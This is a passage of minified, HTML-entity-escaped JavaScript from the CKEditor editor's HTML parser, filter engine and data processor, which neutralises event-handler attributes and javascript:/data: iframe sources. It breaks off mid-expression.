(function(){var a=/([\w\-:.]+)(?:(?:\s*=\s*(?:(?:&quot;([^&quot;]*)&quot;)|(?:&#039;([^&#039;]*)&#039;)|([^\s&gt;]+)))|(?=\s|$))/g,d={checked:1,compact:1,declare:1,defer:1,disabled:1,ismap:1,multiple:1,nohref:1,noresize:1,noshade:1,nowrap:1,readonly:1,selected:1};CKEDITOR.htmlParser.prototype={onTagOpen:function(){},onTagClose:function(){},onText:function(){},onCDATA:function(){},onComment:function(){},parse:function(b){for(var c,f,g=0,k;c=this._.htmlPartsRegex.exec(b);){f=c.index;if(f&gt;g)if(g=b.substring(g,f),k)k.push(g);else this.onText(g);
g=this._.htmlPartsRegex.lastIndex;if(f=c[1])if(f=f.toLowerCase(),k&amp;&amp;CKEDITOR.dtd.$cdata[f]&amp;&amp;(this.onCDATA(k.join(&quot;&quot;)),k=null),!k){this.onTagClose(f);continue}if(k)k.push(c[0]);else if(f=c[3]){if(f=f.toLowerCase(),!/=&quot;/.test(f)){var h={},p,q=c[4];c=!!c[5];if(q)for(;p=a.exec(q);){var e=p[1].toLowerCase();p=p[2]||p[3]||p[4]||&quot;&quot;;h[e]=!p&amp;&amp;d[e]?e:CKEDITOR.tools.htmlDecodeAttr(p)}this.onTagOpen(f,h,c);!k&amp;&amp;CKEDITOR.dtd.$cdata[f]&amp;&amp;(k=[])}}else if(f=c[2])this.onComment(f)}if(b.length&gt;g)this.onText(b.substring(g,
b.length))}}})();
CKEDITOR.htmlParser.basicWriter=CKEDITOR.tools.createClass({$:function(){this._={output:[]}},proto:{openTag:function(a){this._.output.push(&quot;\x3c&quot;,a)},openTagClose:function(a,d){d?this._.output.push(&quot; /\x3e&quot;):this._.output.push(&quot;\x3e&quot;)},attribute:function(a,d){&quot;string&quot;==typeof d&amp;&amp;(d=CKEDITOR.tools.htmlEncodeAttr(d));this._.output.push(&quot; &quot;,a,&#039;\x3d&quot;&#039;,d,&#039;&quot;&#039;)},closeTag:function(a){this._.output.push(&quot;\x3c/&quot;,a,&quot;\x3e&quot;)},text:function(a){this._.output.push(a)},comment:function(a){this._.output.push(&quot;\x3c!--&quot;,a,
&quot;--\x3e&quot;)},write:function(a){this._.output.push(a)},reset:function(){this._.output=[];this._.indent=!1},getHtml:function(a){var d=this._.output.join(&quot;&quot;);a&amp;&amp;this.reset();return d}}});&quot;use strict&quot;;
(function(){CKEDITOR.htmlParser.node=function(){};CKEDITOR.htmlParser.node.prototype={remove:function(){var a=this.parent.children,d=CKEDITOR.tools.indexOf(a,this),b=this.previous,c=this.next;b&amp;&amp;(b.next=c);c&amp;&amp;(c.previous=b);a.splice(d,1);this.parent=null},replaceWith:function(a){var d=this.parent.children,b=CKEDITOR.tools.indexOf(d,this),c=a.previous=this.previous,f=a.next=this.next;c&amp;&amp;(c.next=a);f&amp;&amp;(f.previous=a);d[b]=a;a.parent=this.parent;this.parent=null},insertAfter:function(a){var d=a.parent.children,
b=CKEDITOR.tools.indexOf(d,a),c=a.next;d.splice(b+1,0,this);this.next=a.next;this.previous=a;a.next=this;c&amp;&amp;(c.previous=this);this.parent=a.parent},insertBefore:function(a){var d=a.parent.children,b=CKEDITOR.tools.indexOf(d,a);d.splice(b,0,this);this.next=a;(this.previous=a.previous)&amp;&amp;(a.previous.next=this);a.previous=this;this.parent=a.parent},getAscendant:function(a){var d=&quot;function&quot;==typeof a?a:&quot;string&quot;==typeof a?function(b){return b.name==a}:function(b){return b.name in a},b=this.parent;for(;b&amp;&amp;
b.type==CKEDITOR.NODE_ELEMENT;){if(d(b))return b;b=b.parent}return null},wrapWith:function(a){this.replaceWith(a);a.add(this);return a},getIndex:function(){return CKEDITOR.tools.indexOf(this.parent.children,this)},getFilterContext:function(a){return a||{}}}})();&quot;use strict&quot;;CKEDITOR.htmlParser.comment=function(a){this.value=a;this._={isBlockLike:!1}};
CKEDITOR.htmlParser.comment.prototype=CKEDITOR.tools.extend(new CKEDITOR.htmlParser.node,{type:CKEDITOR.NODE_COMMENT,filter:function(a,d){var b=this.value;if(!(b=a.onComment(d,b,this)))return this.remove(),!1;if(&quot;string&quot;!=typeof b)return this.replaceWith(b),!1;this.value=b;return!0},writeHtml:function(a,d){d&amp;&amp;this.filter(d);a.comment(this.value)}});&quot;use strict&quot;;
(function(){CKEDITOR.htmlParser.text=function(a){this.value=a;this._={isBlockLike:!1}};CKEDITOR.htmlParser.text.prototype=CKEDITOR.tools.extend(new CKEDITOR.htmlParser.node,{type:CKEDITOR.NODE_TEXT,filter:function(a,d){if(!(this.value=a.onText(d,this.value,this)))return this.remove(),!1},writeHtml:function(a,d){d&amp;&amp;this.filter(d);a.text(this.value)}})})();&quot;use strict&quot;;
(function(){CKEDITOR.htmlParser.cdata=function(a){this.value=a};CKEDITOR.htmlParser.cdata.prototype=CKEDITOR.tools.extend(new CKEDITOR.htmlParser.node,{type:CKEDITOR.NODE_TEXT,filter:function(){},writeHtml:function(a){a.write(this.value)}})})();&quot;use strict&quot;;CKEDITOR.htmlParser.fragment=function(){this.children=[];this.parent=null;this._={isBlockLike:!0,hasInlineStarted:!1}};
(function(){function a(a){return a.attributes[&quot;data-cke-survive&quot;]?!1:&quot;a&quot;==a.name&amp;&amp;a.attributes.href||CKEDITOR.dtd.$removeEmpty[a.name]}var d=CKEDITOR.tools.extend({table:1,ul:1,ol:1,dl:1},CKEDITOR.dtd.table,CKEDITOR.dtd.ul,CKEDITOR.dtd.ol,CKEDITOR.dtd.dl),b={ol:1,ul:1},c=CKEDITOR.tools.extend({},{html:1},CKEDITOR.dtd.html,CKEDITOR.dtd.body,CKEDITOR.dtd.head,{style:1,script:1}),f={ul:&quot;li&quot;,ol:&quot;li&quot;,dl:&quot;dd&quot;,table:&quot;tbody&quot;,tbody:&quot;tr&quot;,thead:&quot;tr&quot;,tfoot:&quot;tr&quot;,tr:&quot;td&quot;};CKEDITOR.htmlParser.fragment.fromHtml=
function(g,k,h){function p(a){var b;if(0&lt;m.length)for(var c=0;c&lt;m.length;c++){var d=m[c],f=d.name,e=CKEDITOR.dtd[f],n=u.name&amp;&amp;CKEDITOR.dtd[u.name];n&amp;&amp;!n[f]||a&amp;&amp;e&amp;&amp;!e[a]&amp;&amp;CKEDITOR.dtd[a]?f==u.name&amp;&amp;(x(u,u.parent,1),c--):(b||(q(),b=1),d=d.clone(),d.parent=u,u=d,m.splice(c,1),c--)}}function q(){for(;M.length;)x(M.shift(),u)}function e(a){if(a._.isBlockLike&amp;&amp;&quot;pre&quot;!=a.name&amp;&amp;&quot;textarea&quot;!=a.name){var b=a.children.length,c=a.children[b-1],d;c&amp;&amp;c.type==CKEDITOR.NODE_TEXT&amp;&amp;((d=CKEDITOR.tools.rtrim(c.value))?
c.value=d:a.children.length=b-1)}}function x(b,c,d){c=c||u||v;var f=u;void 0===b.previous&amp;&amp;(w(c,b)&amp;&amp;(u=c,F.onTagOpen(h,{}),b.returnPoint=c=u),e(b),a(b)&amp;&amp;!b.children.length||c.add(b),&quot;pre&quot;==b.name&amp;&amp;(n=!1),&quot;textarea&quot;==b.name&amp;&amp;(H=!1));b.returnPoint?(u=b.returnPoint,delete b.returnPoint):u=d?c:f}function w(a,b){if((a==v||&quot;body&quot;==a.name)&amp;&amp;h&amp;&amp;(!a.name||CKEDITOR.dtd[a.name][h])){var c,d;return(c=b.attributes&amp;&amp;(d=b.attributes[&quot;data-cke-real-element-type&quot;])?d:b.name)&amp;&amp;c in CKEDITOR.dtd.$inline&amp;&amp;!(c in CKEDITOR.dtd.head)&amp;&amp;
!b.isOrphan||b.type==CKEDITOR.NODE_TEXT}}function z(a,b){return a in CKEDITOR.dtd.$listItem||a in CKEDITOR.dtd.$tableContent?a==b||&quot;dt&quot;==a&amp;&amp;&quot;dd&quot;==b||&quot;dd&quot;==a&amp;&amp;&quot;dt&quot;==b:!1}var F=new CKEDITOR.htmlParser,v=k instanceof CKEDITOR.htmlParser.element?k:&quot;string&quot;==typeof k?new CKEDITOR.htmlParser.element(k):new CKEDITOR.htmlParser.fragment,m=[],M=[],u=v,H=&quot;textarea&quot;==v.name,n=&quot;pre&quot;==v.name;F.onTagOpen=function(f,e,g,k){e=new CKEDITOR.htmlParser.element(f,e);e.isUnknown&amp;&amp;g&amp;&amp;(e.isEmpty=!0);e.isOptionalClose=k;
if(a(e))m.push(e);else{if(&quot;pre&quot;==f)n=!0;else{if(&quot;br&quot;==f&amp;&amp;n){u.add(new CKEDITOR.htmlParser.text(&quot;\n&quot;));return}&quot;textarea&quot;==f&amp;&amp;(H=!0)}if(&quot;br&quot;==f)M.push(e);else{for(;!(k=(g=u.name)?CKEDITOR.dtd[g]||(u._.isBlockLike?CKEDITOR.dtd.div:CKEDITOR.dtd.span):c,e.isUnknown||u.isUnknown||k[f]);)if(u.isOptionalClose)F.onTagClose(g);else if(f in b&amp;&amp;g in b)g=u.children,(g=g[g.length-1])&amp;&amp;&quot;li&quot;==g.name||x(g=new CKEDITOR.htmlParser.element(&quot;li&quot;),u),!e.returnPoint&amp;&amp;(e.returnPoint=u),u=g;else if(f in CKEDITOR.dtd.$listItem&amp;&amp;
!z(f,g))F.onTagOpen(&quot;li&quot;==f?&quot;ul&quot;:&quot;dl&quot;,{},0,1);else if(g in d&amp;&amp;!z(f,g))!e.returnPoint&amp;&amp;(e.returnPoint=u),u=u.parent;else if(g in CKEDITOR.dtd.$inline&amp;&amp;m.unshift(u),u.parent)x(u,u.parent,1);else{e.isOrphan=1;break}p(f);q();e.parent=u;e.isEmpty?x(e):u=e}}};F.onTagClose=function(a){for(var b=m.length-1;0&lt;=b;b--)if(a==m[b].name){m.splice(b,1);return}for(var c=[],d=[],f=u;f!=v&amp;&amp;f.name!=a;)f._.isBlockLike||d.unshift(f),c.push(f),f=f.returnPoint||f.parent;if(f!=v){for(b=0;b&lt;c.length;b++){var e=c[b];x(e,e.parent)}u=
f;f._.isBlockLike&amp;&amp;q();x(f,f.parent);f==u&amp;&amp;(u=u.parent);m=m.concat(d)}&quot;body&quot;==a&amp;&amp;(h=!1)};F.onText=function(a){if(!(u._.hasInlineStarted&amp;&amp;!M.length||n||H)&amp;&amp;(a=CKEDITOR.tools.ltrim(a),0===a.length))return;var b=u.name,e=b?CKEDITOR.dtd[b]||(u._.isBlockLike?CKEDITOR.dtd.div:CKEDITOR.dtd.span):c;if(!H&amp;&amp;!e[&quot;#&quot;]&amp;&amp;b in d)F.onTagOpen(f[b]||&quot;&quot;),F.onText(a);else{q();p();n||H||(a=a.replace(/[\t\r\n ]{2,}|[\t\r\n]/g,&quot; &quot;));a=new CKEDITOR.htmlParser.text(a);if(w(u,a))this.onTagOpen(h,{},0,1);u.add(a)}};F.onCDATA=
function(a){u.add(new CKEDITOR.htmlParser.cdata(a))};F.onComment=function(a){q();p();u.add(new CKEDITOR.htmlParser.comment(a))};F.parse(g);for(q();u!=v;)x(u,u.parent,1);e(v);return v};CKEDITOR.htmlParser.fragment.prototype={type:CKEDITOR.NODE_DOCUMENT_FRAGMENT,add:function(a,b){isNaN(b)&amp;&amp;(b=this.children.length);var c=0&lt;b?this.children[b-1]:null;if(c){if(a._.isBlockLike&amp;&amp;c.type==CKEDITOR.NODE_TEXT&amp;&amp;(c.value=CKEDITOR.tools.rtrim(c.value),0===c.value.length)){this.children.pop();this.add(a);return}c.next=
a}a.previous=c;a.parent=this;this.children.splice(b,0,a);this._.hasInlineStarted||(this._.hasInlineStarted=a.type==CKEDITOR.NODE_TEXT||a.type==CKEDITOR.NODE_ELEMENT&amp;&amp;!a._.isBlockLike)},filter:function(a,b){b=this.getFilterContext(b);a.onRoot(b,this);this.filterChildren(a,!1,b)},filterChildren:function(a,b,c){if(this.childrenFilteredBy!=a.id){c=this.getFilterContext(c);if(b&amp;&amp;!this.parent)a.onRoot(c,this);this.childrenFilteredBy=a.id;for(b=0;b&lt;this.children.length;b++)!1===this.children[b].filter(a,
c)&amp;&amp;b--}},writeHtml:function(a,b){b&amp;&amp;this.filter(b);this.writeChildrenHtml(a)},writeChildrenHtml:function(a,b,c){var d=this.getFilterContext();if(c&amp;&amp;!this.parent&amp;&amp;b)b.onRoot(d,this);b&amp;&amp;this.filterChildren(b,!1,d);b=0;c=this.children;for(d=c.length;b&lt;d;b++)c[b].writeHtml(a)},forEach:function(a,b,c){if(!(c||b&amp;&amp;this.type!=b))var d=a(this);if(!1!==d){c=this.children;for(var f=0;f&lt;c.length;f++)d=c[f],d.type==CKEDITOR.NODE_ELEMENT?d.forEach(a,b):b&amp;&amp;d.type!=b||a(d)}},getFilterContext:function(a){return a||
{}}}})();&quot;use strict&quot;;
(function(){function a(){this.rules=[]}function d(b,c,d,g){var k,h;for(k in c)(h=b[k])||(h=b[k]=new a),h.add(c[k],d,g)}CKEDITOR.htmlParser.filter=CKEDITOR.tools.createClass({$:function(b){this.id=CKEDITOR.tools.getNextNumber();this.elementNameRules=new a;this.attributeNameRules=new a;this.elementsRules={};this.attributesRules={};this.textRules=new a;this.commentRules=new a;this.rootRules=new a;b&amp;&amp;this.addRules(b,10)},proto:{addRules:function(a,c){var f;&quot;number&quot;==typeof c?f=c:c&amp;&amp;&quot;priority&quot;in c&amp;&amp;(f=
c.priority);&quot;number&quot;!=typeof f&amp;&amp;(f=10);&quot;object&quot;!=typeof c&amp;&amp;(c={});a.elementNames&amp;&amp;this.elementNameRules.addMany(a.elementNames,f,c);a.attributeNames&amp;&amp;this.attributeNameRules.addMany(a.attributeNames,f,c);a.elements&amp;&amp;d(this.elementsRules,a.elements,f,c);a.attributes&amp;&amp;d(this.attributesRules,a.attributes,f,c);a.text&amp;&amp;this.textRules.add(a.text,f,c);a.comment&amp;&amp;this.commentRules.add(a.comment,f,c);a.root&amp;&amp;this.rootRules.add(a.root,f,c)},applyTo:function(a){a.filter(this)},onElementName:function(a,c){return this.elementNameRules.execOnName(a,
c)},onAttributeName:function(a,c){return this.attributeNameRules.execOnName(a,c)},onText:function(a,c,d){return this.textRules.exec(a,c,d)},onComment:function(a,c,d){return this.commentRules.exec(a,c,d)},onRoot:function(a,c){return this.rootRules.exec(a,c)},onElement:function(a,c){for(var d=[this.elementsRules[&quot;^&quot;],this.elementsRules[c.name],this.elementsRules.$],g,k=0;3&gt;k;k++)if(g=d[k]){g=g.exec(a,c,this);if(!1===g)return null;if(g&amp;&amp;g!=c)return this.onNode(a,g);if(c.parent&amp;&amp;!c.name)break}return c},
onNode:function(a,c){var d=c.type;return d==CKEDITOR.NODE_ELEMENT?this.onElement(a,c):d==CKEDITOR.NODE_TEXT?new CKEDITOR.htmlParser.text(this.onText(a,c.value)):d==CKEDITOR.NODE_COMMENT?new CKEDITOR.htmlParser.comment(this.onComment(a,c.value)):null},onAttribute:function(a,c,d,g){return(d=this.attributesRules[d])?d.exec(a,g,c,this):g}}});CKEDITOR.htmlParser.filterRulesGroup=a;a.prototype={add:function(a,c,d){this.rules.splice(this.findIndex(c),0,{value:a,priority:c,options:d})},addMany:function(a,
c,d){for(var g=[this.findIndex(c),0],k=0,h=a.length;k&lt;h;k++)g.push({value:a[k],priority:c,options:d});this.rules.splice.apply(this.rules,g)},findIndex:function(a){for(var c=this.rules,d=c.length-1;0&lt;=d&amp;&amp;a&lt;c[d].priority;)d--;return d+1},exec:function(a,c){var d=c instanceof CKEDITOR.htmlParser.node||c instanceof CKEDITOR.htmlParser.fragment,g=Array.prototype.slice.call(arguments,1),k=this.rules,h=k.length,p,q,e,x;for(x=0;x&lt;h;x++)if(d&amp;&amp;(p=c.type,q=c.name),e=k[x],!(a.nonEditable&amp;&amp;!e.options.applyToAll||
a.nestedEditable&amp;&amp;e.options.excludeNestedEditable)){e=e.value.apply(null,g);if(!1===e||d&amp;&amp;e&amp;&amp;(e.name!=q||e.type!=p))return e;null!=e&amp;&amp;(g[0]=c=e)}return c},execOnName:function(a,c){for(var d=0,g=this.rules,k=g.length,h;c&amp;&amp;d&lt;k;d++)h=g[d],a.nonEditable&amp;&amp;!h.options.applyToAll||a.nestedEditable&amp;&amp;h.options.excludeNestedEditable||(c=c.replace(h.value[0],h.value[1]));return c}}})();
(function(){function a(a,d){function e(a){return a||CKEDITOR.env.needsNbspFiller?new CKEDITOR.htmlParser.text(&quot; &quot;):new CKEDITOR.htmlParser.element(&quot;br&quot;,{&quot;data-cke-bogus&quot;:1})}function l(a,d){return function(f){if(f.type!=CKEDITOR.NODE_DOCUMENT_FRAGMENT){var l=[],n=b(f),E,G;if(n)for(t(n,1)&amp;&amp;l.push(n);n;)g(n)&amp;&amp;(E=c(n))&amp;&amp;t(E)&amp;&amp;((G=c(E))&amp;&amp;!g(G)?l.push(E):(e(y).insertAfter(E),E.remove())),n=n.previous;for(n=0;n&lt;l.length;n++)l[n].remove();if(l=!a||!1!==(&quot;function&quot;==typeof d?d(f):d))y||CKEDITOR.env.needsBrFiller||
f.type!=CKEDITOR.NODE_DOCUMENT_FRAGMENT?y||CKEDITOR.env.needsBrFiller||!(7&lt;document.documentMode||f.name in CKEDITOR.dtd.tr||f.name in CKEDITOR.dtd.$listItem)?(l=b(f),l=!l||&quot;form&quot;==f.name&amp;&amp;&quot;input&quot;==l.name):l=!1:l=!1;l&amp;&amp;f.add(e(a))}}}function t(a,b){if((!y||CKEDITOR.env.needsBrFiller)&amp;&amp;a.type==CKEDITOR.NODE_ELEMENT&amp;&amp;&quot;br&quot;==a.name&amp;&amp;!a.attributes[&quot;data-cke-eol&quot;])return!0;var c;return a.type==CKEDITOR.NODE_TEXT&amp;&amp;(c=a.value.match(u))&amp;&amp;(c.index&amp;&amp;((new CKEDITOR.htmlParser.text(a.value.substring(0,c.index))).insertBefore(a),
a.value=c[0]),!CKEDITOR.env.needsBrFiller&amp;&amp;y&amp;&amp;(!b||a.parent.name in B)||!y&amp;&amp;((c=a.previous)&amp;&amp;&quot;br&quot;==c.name||!c||g(c)))?!0:!1}var E={elements:{}},y=&quot;html&quot;==d,B=CKEDITOR.tools.extend({},C),h;for(h in B)&quot;#&quot;in n[h]||delete B[h];for(h in B)E.elements[h]=l(y,a.config.fillEmptyBlocks);E.root=l(y,!1);E.elements.br=function(a){return function(b){if(b.parent.type!=CKEDITOR.NODE_DOCUMENT_FRAGMENT){var d=b.attributes;if(&quot;data-cke-bogus&quot;in d||&quot;data-cke-eol&quot;in d)delete d[&quot;data-cke-bogus&quot;];else{for(d=b.next;d&amp;&amp;f(d);)d=
d.next;var l=c(b);!d&amp;&amp;g(b.parent)?k(b.parent,e(a)):g(d)&amp;&amp;l&amp;&amp;!g(l)&amp;&amp;e(a).insertBefore(d)}}}}(y);return E}function d(a,b){return a!=CKEDITOR.ENTER_BR&amp;&amp;!1!==b?a==CKEDITOR.ENTER_DIV?&quot;div&quot;:&quot;p&quot;:!1}function b(a){for(a=a.children[a.children.length-1];a&amp;&amp;f(a);)a=a.previous;return a}function c(a){for(a=a.previous;a&amp;&amp;f(a);)a=a.previous;return a}function f(a){return a.type==CKEDITOR.NODE_TEXT&amp;&amp;!CKEDITOR.tools.trim(a.value)||a.type==CKEDITOR.NODE_ELEMENT&amp;&amp;a.attributes[&quot;data-cke-bookmark&quot;]}function g(a){return a&amp;&amp;
(a.type==CKEDITOR.NODE_ELEMENT&amp;&amp;a.name in C||a.type==CKEDITOR.NODE_DOCUMENT_FRAGMENT)}function k(a,b){var c=a.children[a.children.length-1];a.children.push(b);b.parent=a;c&amp;&amp;(c.next=b,b.previous=c)}function h(a){a=a.attributes;&quot;false&quot;!=a.contenteditable&amp;&amp;(a[&quot;data-cke-editable&quot;]=a.contenteditable?&quot;true&quot;:1);a.contenteditable=&quot;false&quot;}function p(a){a=a.attributes;switch(a[&quot;data-cke-editable&quot;]){case &quot;true&quot;:a.contenteditable=&quot;true&quot;;break;case &quot;1&quot;:delete a.contenteditable}}function q(a){return a.replace(E,
function(a,b,c){return&quot;\x3c&quot;+b+c.replace(y,function(a,b){return I.test(b)&amp;&amp;-1==c.indexOf(&quot;data-cke-saved-&quot;+b)?&quot; data-cke-saved-&quot;+a+&quot; data-cke-&quot;+CKEDITOR.rnd+&quot;-&quot;+a:a})+&quot;\x3e&quot;})}function e(a,b){return a.replace(b,function(a,b,c){0===a.indexOf(&quot;\x3ctextarea&quot;)&amp;&amp;(a=b+v(c).replace(/&lt;/g,&quot;\x26lt;&quot;).replace(/&gt;/g,&quot;\x26gt;&quot;)+&quot;\x3c/textarea\x3e&quot;);return&quot;\x3ccke:encoded\x3e&quot;+encodeURIComponent(a)+&quot;\x3c/cke:encoded\x3e&quot;})}function x(a){return a.replace(l,function(a,b){return decodeURIComponent(b)})}function w(a){return a.replace(/\x3c!--(?!{cke_protected})[\s\S]+?--\x3e/g,
function(a){return&quot;\x3c!--&quot;+H+&quot;{C}&quot;+encodeURIComponent(a).replace(/--/g,&quot;%2D%2D&quot;)+&quot;--\x3e&quot;})}function z(a){return CKEDITOR.tools.array.reduce(a.split(&quot;&quot;),function(a,b){var c=b.toLowerCase(),d=b.toUpperCase(),e=F(c);c!==d&amp;&amp;(e+=&quot;|&quot;+F(d));return a+(&quot;(&quot;+e+&quot;)&quot;)},&quot;&quot;)}function F(a){var b;b=a.charCodeAt(0);var c=b.toString(16);b={htmlCode:&quot;\x26#&quot;+b+&quot;;?&quot;,hex:&quot;\x26#x0*&quot;+c+&quot;;?&quot;,entity:{&quot;\x3c&quot;:&quot;\x26lt;&quot;,&quot;\x3e&quot;:&quot;\x26gt;&quot;,&quot;:&quot;:&quot;\x26colon;&quot;}[a]};for(var d in b)b[d]&amp;&amp;(a+=&quot;|&quot;+b[d]);return a}function v(a){return a.replace(/\x3c!--\{cke_protected\}\{C\}([\s\S]+?)--\x3e/g,
function(a,b){return decodeURIComponent(b)})}function m(a,b){var c=b._.dataStore;return a.replace(/\x3c!--\{cke_protected\}([\s\S]+?)--\x3e/g,function(a,b){return decodeURIComponent(b)}).replace(/\{cke_protected_(\d+)\}/g,function(a,b){return c&amp;&amp;c[b]||&quot;&quot;})}function M(a,b){var c=[],d=b.config.protectedSource,e=b._.dataStore||(b._.dataStore={id:1}),f=/&lt;\!--\{cke_temp(comment)?\}(\d*?)--\x3e/g,d=[/&lt;script[\s\S]*?(&lt;\/script&gt;|$)/gi,/&lt;noscript[\s\S]*?&lt;\/noscript&gt;/gi,/&lt;meta[\s\S]*?\/?&gt;/gi].concat(d);a=a.replace(/\x3c!--[\s\S]*?--\x3e/g,
function(a){return&quot;\x3c!--{cke_tempcomment}&quot;+(c.push(a)-1)+&quot;--\x3e&quot;});for(var l=0;l&lt;d.length;l++)a=a.replace(d[l],function(a){a=a.replace(f,function(a,b,d){return c[d]});return/cke_temp(comment)?/.test(a)?a:&quot;\x3c!--{cke_temp}&quot;+(c.push(a)-1)+&quot;--\x3e&quot;});a=a.replace(f,function(a,b,d){return&quot;\x3c!--&quot;+H+(b?&quot;{C}&quot;:&quot;&quot;)+encodeURIComponent(c[d]).replace(/--/g,&quot;%2D%2D&quot;)+&quot;--\x3e&quot;});a=a.replace(/&lt;\w+(?:\s+(?:(?:[^\s=&gt;]+\s*=\s*(?:[^&#039;&quot;\s&gt;]+|&#039;[^&#039;]*&#039;|&quot;[^&quot;]*&quot;))|[^\s=\/&gt;]+))+\s*\/?&gt;/g,function(a){return a.replace(/\x3c!--\{cke_protected\}([^&gt;]*)--\x3e/g,
function(a,b){e[e.id]=decodeURIComponent(b);return&quot;{cke_protected_&quot;+e.id++ +&quot;}&quot;})});return a=a.replace(/&lt;(title|iframe|textarea)([^&gt;]*)&gt;([\s\S]*?)&lt;\/\1&gt;/g,function(a,c,d,e){return&quot;\x3c&quot;+c+d+&quot;\x3e&quot;+m(v(e),b)+&quot;\x3c/&quot;+c+&quot;\x3e&quot;})}CKEDITOR.htmlDataProcessor=function(b){var c,f,l=this;this.editor=b;this.dataFilter=c=new CKEDITOR.htmlParser.filter;this.htmlFilter=f=new CKEDITOR.htmlParser.filter;this.writer=new CKEDITOR.htmlParser.basicWriter;c.addRules(L);c.addRules(D,{applyToAll:!0});c.addRules(a(b,&quot;data&quot;),
{applyToAll:!0});f.addRules(N);f.addRules(t,{applyToAll:!0});f.addRules(a(b,&quot;html&quot;),{applyToAll:!0});b.on(&quot;toHtml&quot;,function(a){a=a.data;var c=a.dataValue,f,c=c.replace(K,&quot;&quot;),c=M(c,b),c=e(c,O),c=q(c),c=e(c,P),c=c.replace(B,&quot;$1cke:$2&quot;),c=c.replace(J,&quot;\x3ccke:$1$2\x3e\x3c/cke:$1\x3e&quot;),c=c.replace(/(&lt;pre\b[^&gt;]*&gt;)(\r\n|\n)/g,&quot;$1$2$2&quot;),c=c.replace(/([^a-z0-9&lt;\-])(on\w{3,})(?!&gt;)/gi,&quot;$1data-cke-&quot;+CKEDITOR.rnd+&quot;-$2&quot;);f=a.context||b.editable().getName();var l;CKEDITOR.env.ie&amp;&amp;9&gt;CKEDITOR.env.version&amp;&amp;&quot;pre&quot;==
f&amp;&amp;(f=&quot;div&quot;,c=&quot;\x3cpre\x3e&quot;+c+&quot;\x3c/pre\x3e&quot;,l=1);f=b.document.createElement(f);f.setHtml(&quot;a&quot;+c);c=f.getHtml().substr(1);c=c.replace(new RegExp(&quot;data-cke-&quot;+CKEDITOR.rnd+&quot;-&quot;,&quot;ig&quot;),&quot;&quot;);l&amp;&amp;(c=c.replace(/^&lt;pre&gt;|&lt;\/pre&gt;$/gi,&quot;&quot;));c=c.replace(A,&quot;$1$2&quot;);c=x(c);c=v(c);f=!1===a.fixForBody?!1:d(a.enterMode,b.config.autoParagraph);c=CKEDITOR.htmlParser.fragment.fromHtml(c,a.context,f);f&amp;&amp;(l=c,!l.children.length&amp;&amp;CKEDITOR.dtd[l.name][f]&amp;&amp;(f=new CKEDITOR.htmlParser.element(f),l.add(f)));a.dataValue=c},null,null,
5);b.on(&quot;toHtml&quot;,function(a){a.data.filter.applyTo(a.data.dataValue,!0,a.data.dontFilter,a.data.enterMode)&amp;&amp;b.fire(&quot;dataFiltered&quot;)},null,null,6);b.on(&quot;toHtml&quot;,function(a){a.data.dataValue.filterChildren(l.dataFilter,!0)},null,null,10);b.on(&quot;toHtml&quot;,function(a){a=a.data;var b=a.dataValue,c=new CKEDITOR.htmlParser.basicWriter;b.writeChildrenHtml(c);b=c.getHtml(!0);a.dataValue=w(b)},null,null,15);b.on(&quot;toDataFormat&quot;,function(a){var c=a.data.dataValue;a.data.enterMode!=CKEDITOR.ENTER_BR&amp;&amp;(c=c.replace(/^&lt;br *\/?&gt;/i,
&quot;&quot;));a.data.dataValue=CKEDITOR.htmlParser.fragment.fromHtml(c,a.data.context,d(a.data.enterMode,b.config.autoParagraph))},null,null,5);b.on(&quot;toDataFormat&quot;,function(a){a.data.dataValue.filterChildren(l.htmlFilter,!0)},null,null,10);b.on(&quot;toDataFormat&quot;,function(a){a.data.filter.applyTo(a.data.dataValue,!1,!0)},null,null,11);b.on(&quot;toDataFormat&quot;,function(a){var c=a.data.dataValue,d=l.writer;d.reset();c.writeChildrenHtml(d);c=d.getHtml(!0);c=v(c);c=m(c,b);a.data.dataValue=c},null,null,15)};CKEDITOR.htmlDataProcessor.prototype=
{toHtml:function(a,b,c,d){var f=this.editor,e,l,n,g;b&amp;&amp;&quot;object&quot;==typeof b?(e=b.context,c=b.fixForBody,d=b.dontFilter,l=b.filter,n=b.enterMode,g=b.protectedWhitespaces):e=b;e||null===e||(e=f.editable().getName());return f.fire(&quot;toHtml&quot;,{dataValue:a,context:e,fixForBody:c,dontFilter:d,filter:l||f.filter,enterMode:n||f.enterMode,protectedWhitespaces:g}).dataValue},toDataFormat:function(a,b){var c,d,f;b&amp;&amp;(c=b.context,d=b.filter,f=b.enterMode);c||null===c||(c=this.editor.editable().getName());return this.editor.fire(&quot;toDataFormat&quot;,
{dataValue:a,filter:d||this.editor.filter,context:c,enterMode:f||this.editor.enterMode}).dataValue}};var u=/(?:&amp;nbsp;|\xa0)$/,H=&quot;{cke_protected}&quot;,n=CKEDITOR.dtd,r=&quot;caption colgroup col thead tfoot tbody&quot;.split(&quot; &quot;),C=CKEDITOR.tools.extend({},n.$blockLimit,n.$block),L={elements:{input:h,textarea:h}},D={attributeNames:[[/^on/,&quot;data-cke-pa-on&quot;],[/^srcdoc/,&quot;data-cke-pa-srcdoc&quot;],[/^data-cke-expando$/,&quot;&quot;]],elements:{iframe:function(a){if(a.attributes&amp;&amp;a.attributes.src){var b=a.attributes.src.toLowerCase().replace(/[^a-z]/gi,
&quot;&quot;);if(0===b.indexOf(&quot;javascript&quot;)||0===b.indexOf(&quot;data&quot;))a.attributes[&quot;data-cke-pa-src&quot;]=a.attributes.src,delete a.attributes.src}}}},N={elements:{embed:function(a){var b=a.parent;if(b&amp;&amp;&quot;object&quot;==b.name){var c=b.attributes.width,b=b.attributes.height;c&amp;&amp;(a.attributes.width=c);b&amp;&amp;(a.attributes.height=b)}},a:function(a){var b=a.attributes;if(!(a.children.length||b.name||b.id||a.attributes[&quot;data-cke-saved-name&quot;]))return!1}}},t={elementNames:[[/^cke:/,&quot;&quot;],[/^\?xml:namespace$/,&quot;&quot;]],attributeNames:[[/^data-cke-(saved|pa)-/,
